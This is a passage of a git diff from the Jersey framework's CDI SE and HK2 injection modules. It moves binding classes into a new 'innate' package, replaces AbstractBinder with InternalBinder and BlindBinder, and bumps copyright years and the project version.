-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
 
@@ -57,7 +57,7 @@
 public class CdiSeInjectionManager implements InjectionManager {
 
     // Keeps all binders and bindings added to the InjectionManager during the bootstrap.
-    private final AbstractBinder bindings = new AbstractBinder() {
+    private final InternalBinder bindings = new InternalBinder() {
         @Override
         protected void configure() {
         }
@@ -262,7 +262,7 @@
         this.beanManager = container.getBeanManager();
     }
 
-    protected AbstractBinder getBindings() {
+    protected InternalBinder getBindings() {
         return bindings;
     }
 
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManagerFactory.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManagerFactory.java
index e1c79a0..128e40f 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManagerFactory.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,7 @@
 package org.glassfish.jersey.inject.cdi.se;
 
 import jakarta.annotation.Priority;
+import jakarta.ws.rs.core.Configuration;
 
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.InjectionManagerFactory;
@@ -33,4 +34,9 @@
     public InjectionManager create(Object parent) {
         return new CdiSeInjectionManager();
     }
+
+    @Override
+    public InjectionManager create(Object parent, Configuration configuration) {
+        return create(parent); // no configuration used at the moment
+    }
 }
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/SeBeanRegisterExtension.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/SeBeanRegisterExtension.java
index e804387..f99020d 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/SeBeanRegisterExtension.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/SeBeanRegisterExtension.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -35,14 +35,14 @@
 
 import org.glassfish.jersey.inject.cdi.se.bean.BeanHelper;
 import org.glassfish.jersey.inject.cdi.se.injector.JerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InjectionResolverBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
-import org.glassfish.jersey.internal.inject.InjectionResolverBinding;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 import org.jboss.weld.injection.producer.BasicInjectionTarget;
 
@@ -54,7 +54,7 @@
  */
 class SeBeanRegisterExtension implements Extension {
 
-    private final AbstractBinder bindings;
+    private final InternalBinder bindings;
 
     private final List<JerseyInjectionTarget> jerseyInjectionTargets = new ArrayList<>();
 
@@ -66,7 +66,7 @@
      *
      * @param bindings all register beans using Jersey.
      */
-    SeBeanRegisterExtension(AbstractBinder bindings) {
+    SeBeanRegisterExtension(InternalBinder bindings) {
         this.bindings = bindings;
     }
 
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
index 053dbe8..b7bcd4f 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
@@ -33,12 +33,12 @@
 import org.glassfish.jersey.inject.cdi.se.injector.JerseyConstructorInjectionPoint;
 import org.glassfish.jersey.inject.cdi.se.injector.JerseyInjectionTarget;
 import org.glassfish.jersey.inject.cdi.se.injector.WrappingJerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.PerThread;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 import org.jboss.weld.annotated.enhanced.EnhancedAnnotatedConstructor;
 import org.jboss.weld.annotated.enhanced.EnhancedAnnotatedType;
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/ClassBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/ClassBean.java
index b55f0d3..37874e1 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/ClassBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/ClassBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,7 +32,7 @@
 import jakarta.enterprise.inject.spi.InjectionTarget;
 
 import org.glassfish.jersey.inject.cdi.se.injector.JerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link ClassBinding}. Binding
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/InstanceBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/InstanceBean.java
index 622288f..58de5ea 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/InstanceBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/InstanceBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 import jakarta.enterprise.inject.spi.InjectionTarget;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link InstanceBinding}. Binding
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
index 8f3fc55..d075202 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -34,7 +34,7 @@
 import jakarta.inject.Singleton;
 
 import org.glassfish.jersey.JerseyPriorities;
-import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.innate.inject.InternalBinding;
 import org.glassfish.jersey.internal.inject.PerLookup;
 import org.glassfish.jersey.internal.inject.PerThread;
 
@@ -56,15 +56,15 @@
         DEFAULT_QUALIFIERS.add(new AnnotationLiteral<Any>() {});
     }
 
-    private final Binding<T, ?> binding;
+    private final InternalBinding<T, ?> binding;
 
     /**
-     * JerseyBean constructor with {@link Binding} which represents {@link jakarta.enterprise.context.spi.Contextual} part of the
+     * JerseyBean constructor with {@link InternalBinding} which represents {@link jakarta.enterprise.context.spi.Contextual} part of the
      * bean.
      *
      * @param binding information about the bean.
      */
-    JerseyBean(Binding<T, ?> binding) {
+    JerseyBean(InternalBinding<T, ?> binding) {
         this.binding = binding;
     }
 
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierBeanBridge.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierBeanBridge.java
index ceca584..d4ec52a 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierBeanBridge.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierBeanBridge.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -30,9 +30,9 @@
 import jakarta.enterprise.inject.spi.BeanManager;
 
 import org.glassfish.jersey.inject.cdi.se.ParameterizedTypeImpl;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierInstanceBinding}.
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierClassBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierClassBean.java
index e3d95c5..aee22d4 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierClassBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierClassBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,8 +28,8 @@
 
 import org.glassfish.jersey.inject.cdi.se.ParameterizedTypeImpl;
 import org.glassfish.jersey.inject.cdi.se.injector.JerseyInjectionTarget;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierClassBinding}.
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBean.java
index 16d1815..266184c 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,8 +25,9 @@
 import jakarta.enterprise.context.spi.CreationalContext;
 
 import org.glassfish.jersey.inject.cdi.se.ParameterizedTypeImpl;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierInstanceBinding}.
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBeanBridge.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBeanBridge.java
index 93eccae..fa92cd0 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBeanBridge.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBeanBridge.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,8 +22,9 @@
 import jakarta.enterprise.context.Dependent;
 import jakarta.enterprise.context.spi.CreationalContext;
 
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierInstanceBinding}.
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeBean.java
index b95ae0a..7a3d019 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeBean.java
@@ -21,7 +21,7 @@
 import jakarta.enterprise.context.Dependent;
 import jakarta.enterprise.context.spi.CreationalContext;
 
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 
 import org.jboss.weld.bean.proxy.BeanInstance;
 import org.jboss.weld.bean.proxy.ProxyFactory;
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeClassBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeClassBean.java
index 698bfb0..f56eda8 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeClassBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeClassBean.java
@@ -23,8 +23,8 @@
 import jakarta.enterprise.context.Dependent;
 import jakarta.enterprise.context.spi.CreationalContext;
 
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.internal.util.collection.Values;
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/injector/ContextInjectionResolverImpl.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/injector/ContextInjectionResolverImpl.java
index b83fff3..c32f920 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/injector/ContextInjectionResolverImpl.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/injector/ContextInjectionResolverImpl.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,8 +27,8 @@
 import jakarta.enterprise.inject.spi.Bean;
 import jakarta.enterprise.inject.spi.BeanManager;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.BlindBinder;
 import org.glassfish.jersey.internal.inject.ContextInjectionResolver;
 import org.glassfish.jersey.internal.inject.Injectee;
 import org.glassfish.jersey.internal.inject.InjecteeImpl;
@@ -102,7 +102,7 @@
     /**
      * Context injection resolver binder.
      */
-    public static final class Binder extends AbstractBinder {
+    public static final class Binder extends BlindBinder {
 
         private Supplier<BeanManager> beanManager;
 
diff --git a/inject/cdi2-se/src/test/java/org/glassfish/jersey/inject/cdi/se/BindingTestHelper.java b/inject/cdi2-se/src/test/java/org/glassfish/jersey/inject/cdi/se/BindingTestHelper.java
index 9049439..ba41373 100644
--- a/inject/cdi2-se/src/test/java/org/glassfish/jersey/inject/cdi/se/BindingTestHelper.java
+++ b/inject/cdi2-se/src/test/java/org/glassfish/jersey/inject/cdi/se/BindingTestHelper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import java.util.function.Consumer;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.BlindBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 
@@ -35,8 +35,8 @@
      * @param injectionManager injection manager which accepts the consumer.
      * @param bindConsumer     consumer to populate a binder.
      */
-    static void bind(InjectionManager injectionManager, Consumer<AbstractBinder> bindConsumer) {
-        AbstractBinder binder = new AbstractBinder() {
+    static void bind(InjectionManager injectionManager, Consumer<BlindBinder> bindConsumer) {
+        BlindBinder binder = new BlindBinder() {
             @Override
             protected void configure() {
                 bindConsumer.accept(this);
diff --git a/inject/hk2/pom.xml b/inject/hk2/pom.xml
index 1f21a2d..5c07508 100644
--- a/inject/hk2/pom.xml
+++ b/inject/hk2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.inject</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-hk2</artifactId>
@@ -122,6 +122,7 @@
                             ${jakarta.annotation.osgi.version},
                             ${hk2.jvnet.osgi.version},
                             ${hk2.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractBinder.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractBinder.java
new file mode 100644
index 0000000..ff0fa27
--- /dev/null
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractBinder.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.hk2;
+
+import org.glassfish.jersey.innate.inject.BlindBinder;
+import org.glassfish.jersey.internal.inject.Binder;
+
+/**
+ * Implementation of {@link Binder} interface dedicated to keep some level of code compatibility between previous HK2
+ * implementation and new DI SPI.
+ * <p>
+ * Currently, there are supported only bind method and more complicated method where HK2 interfaces are required were omitted.
+ */
+public abstract class AbstractBinder extends BlindBinder {
+
+}
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java
index 94d5f8c..48d4dba 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,11 +23,11 @@
 import java.util.logging.Logger;
 import java.util.stream.Collectors;
 
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
 
@@ -44,7 +44,8 @@
  *
  * @author Petr Bouda
  */
-abstract class AbstractHk2InjectionManager implements InjectionManager {
+abstract sealed class AbstractHk2InjectionManager implements InjectionManager
+        permits DelayedHk2InjectionManager, ImmediateHk2InjectionManager {
 
     private static final Logger LOGGER = Logger.getLogger(AbstractHk2InjectionManager.class.getName());
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Bindings.java
similarity index 69%
copy from core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java
copy to inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Bindings.java
index ef1e733..5524cae 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Bindings.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,17 +14,19 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.inject.hk2;
+
+import jakarta.ws.rs.core.GenericType;
+import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionResolver;
 
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.util.Collection;
 import java.util.function.Supplier;
 
-import jakarta.ws.rs.core.GenericType;
-
-import org.glassfish.jersey.internal.util.ReflectionHelper;
-
 /**
  * Utility class to create a new injection binding descriptions for arbitrary Java beans.
  *
@@ -37,11 +39,7 @@
     }
 
     public static Collection<Binding> getBindings(InjectionManager injectionManager, Binder binder) {
-        if (binder instanceof AbstractBinder) {
-            ((AbstractBinder) binder).setInjectionManager(injectionManager);
-        }
-
-        return binder.getBindings();
+        return org.glassfish.jersey.innate.inject.Bindings.getBindings(injectionManager, binder);
     }
 
     /**
@@ -53,8 +51,8 @@
      * @param serviceType service class.
      * @return initialized binding builder.
      */
-    public static <T> ClassBinding<T> service(Class<T> serviceType) {
-        return new ClassBinding<>(serviceType);
+    public static <T> Binding service(Class<T> serviceType) {
+        return org.glassfish.jersey.innate.inject.Bindings.service(serviceType);
     }
 
     /**
@@ -66,8 +64,8 @@
      * @param serviceType service class.
      * @return initialized binding builder.
      */
-    public static <T> ClassBinding<T> serviceAsContract(Class<T> serviceType) {
-        return new ClassBinding<>(serviceType).to(serviceType);
+    public static <T> Binding serviceAsContract(Class<T> serviceType) {
+        return org.glassfish.jersey.innate.inject.Bindings.serviceAsContract(serviceType);
     }
 
     /**
@@ -80,9 +78,8 @@
      * @return initialized binding builder.
      */
     @SuppressWarnings("unchecked")
-    public static <T> ClassBinding<T> service(GenericType<T> serviceType) {
-        return (ClassBinding<T>) new ClassBinding<>(serviceType.getRawType())
-                .asType((Class<T>) serviceType.getType());
+    public static <T> Binding service(GenericType<T> serviceType) {
+        return org.glassfish.jersey.innate.inject.Bindings.service(serviceType);
     }
 
     /**
@@ -95,10 +92,8 @@
      * @return initialized binding builder.
      */
     @SuppressWarnings("unchecked")
-    public static <T> ClassBinding<T> serviceAsContract(GenericType<T> serviceType) {
-        return (ClassBinding<T>) new ClassBinding<>(serviceType.getRawType())
-                .asType((Class<T>) serviceType.getType())
-                .to(serviceType.getType());
+    public static <T> Binding serviceAsContract(GenericType<T> serviceType) {
+        return org.glassfish.jersey.innate.inject.Bindings.serviceAsContract(serviceType);
     }
 
     /**
@@ -111,10 +106,8 @@
      * @return initialized binding builder.
      */
     @SuppressWarnings("unchecked")
-    public static <T> ClassBinding<T> serviceAsContract(Type serviceType) {
-        return new ClassBinding<>((Class<T>) ReflectionHelper.getRawClass(serviceType))
-                .asType((Class<T>) serviceType)
-                .to(serviceType);
+    public static <T> Binding serviceAsContract(Type serviceType) {
+        return org.glassfish.jersey.innate.inject.Bindings.serviceAsContract(serviceType);
     }
 
     /**
@@ -127,8 +120,8 @@
      * @param service service instance.
      * @return initialized binding builder.
      */
-    public static <T> InstanceBinding<T> service(T service) {
-        return new InstanceBinding<>(service);
+    public static <T> Binding service(T service) {
+        return org.glassfish.jersey.innate.inject.Bindings.service(service);
     }
 
     /**
@@ -141,8 +134,8 @@
      * @param service service instance.
      * @return initialized binding builder.
      */
-    public static <T> InstanceBinding<T> serviceAsContract(T service) {
-        return new InstanceBinding<>(service, service.getClass());
+    public static <T> Binding serviceAsContract(T service) {
+        return org.glassfish.jersey.innate.inject.Bindings.serviceAsContract(service);
     }
 
     /**
@@ -153,9 +146,9 @@
      * @param supplierScope factory scope.
      * @return initialized binding builder.
      */
-    public static <T> SupplierClassBinding<T> supplier(
+    public static <T> Binding supplier(
             Class<? extends Supplier<T>> supplierType, Class<? extends Annotation> supplierScope) {
-        return new SupplierClassBinding<>(supplierType, supplierScope);
+        return org.glassfish.jersey.innate.inject.Bindings.supplier(supplierType, supplierScope);
     }
 
     /**
@@ -167,8 +160,8 @@
      * @param supplierType service supplier class.
      * @return initialized binding builder.
      */
-    public static <T> SupplierClassBinding<T> supplier(Class<? extends Supplier<T>> supplierType) {
-        return new SupplierClassBinding<>(supplierType, null);
+    public static <T> Binding supplier(Class<? extends Supplier<T>> supplierType) {
+        return org.glassfish.jersey.innate.inject.Bindings.supplier(supplierType);
     }
 
     /**
@@ -178,8 +171,8 @@
      * @param supplier service instance.
      * @return initialized binding builder.
      */
-    public static <T> SupplierInstanceBinding<T> supplier(Supplier<T> supplier) {
-        return new SupplierInstanceBinding<>(supplier);
+    public static <T> Binding supplier(Supplier<T> supplier) {
+        return org.glassfish.jersey.innate.inject.Bindings.supplier(supplier);
     }
 
     /**
@@ -193,7 +186,7 @@
      * @param resolver   injection resolver instance.
      * @return initialized binding builder.
      */
-    public static <T extends InjectionResolver> InjectionResolverBinding<T> injectionResolver(T resolver) {
-        return new InjectionResolverBinding<>(resolver);
+    public static <T extends InjectionResolver> Binding injectionResolver(T resolver) {
+        return org.glassfish.jersey.innate.inject.Bindings.injectionResolver(resolver);
     }
 }
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/CompositeBinder.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/CompositeBinder.java
new file mode 100644
index 0000000..5f28854
--- /dev/null
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/CompositeBinder.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
